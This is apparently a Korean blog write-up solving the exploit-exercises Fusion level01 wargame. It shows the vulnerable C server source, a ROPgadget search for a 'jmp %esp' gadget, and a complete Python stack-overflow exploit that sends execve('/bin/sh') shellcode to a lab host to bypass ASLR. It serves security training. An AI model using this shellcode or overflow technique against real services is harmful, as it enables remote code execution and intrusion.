Wargame/exploit-exercises

[exploit-exercises] fusion level01

bbolmin 2014. 4. 20. 11:52


[ fusion level01 ]



 1#include "../common/common.c"  
 2
 3int fix_path(char *path)
 4{
 5  char resolved[128];
 6  
 7  if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open
 8  strcpy(path, resolved);
 9}
10
11char *parse_http_request()
12{
13  char buffer[1024];
14  char *path;
15  char *q;
16
17  // printf("[debug] buffer is at 0x%08x :-)\n", buffer); :D
18
19  if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host");
20  if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request");
21
22  path = &buffer[4];
23  q = strchr(path, ' ');
24  if(! q) errx(0, "No protocol version specified");
25  *q++ = 0;
26  if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol");
27
28  fix_path(path);
29
30  printf("trying to access %s\n", path);
31
32  return path;
33}
34
35int main(int argc, char **argv, char **envp)
36{
37  int fd;
38  char *p;
39
40  background_process(NAME, UID, GID);  
41  fd = serve_forever(PORT);
42  set_io(fd);
43
44  parse_http_request();  
45}


Address Space Layout RandomisationYes

level00 문제와 비슷한데 buffer의 주소를 찍어주는 printf문이 주석처리 되어 있다. 또 스택에 ASLR이 적용되어 있다고 한다.



문제 서버에 ROPgadget 프로그램이 있어서 "jmp %esp"를 찾아보니 아래와 같이 한개가 존재한다.


root@fusion:/opt/ROPgadget-v3.3# ./ROPgadget -file ../fusion/bin/level01 -g -asm "jmp %esp"

/tmp/ropgadget_asm.s: Assembler messages:

/tmp/ropgadget_asm.s:1: Warning: indirect jmp without `*'

Gadgets information

============================================================

0x08049f4f: "\xff\xe4 <==> jmp %esp"


Total opcodes found: 1



그럼 jmp %esp 가젯을 이용해서 ASLR을 우회하면 된다.


| buf | ret | nop + shellcode |

   ^ esp 위치




from socket import socket, AF_INET, SOCK_STREAM

import struct

        

HOST = '192.168.11.138'

PORT = 20001


s = socket(AF_INET, SOCK_STREAM)

s.connect((HOST, PORT))


#execve('/bin/sh')

shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80'


payload = 'GET '                            #4byte

payload += 'a'*139                          #&buffer[4]

payload += struct.pack('<I', 0x08049f4f)    #&(jmp %esp)

payload += '\x90'*50 + shellcode

payload += ' HTTP/1.1'  #9byte


s.send(payload + '\n')


sock_cmd(s)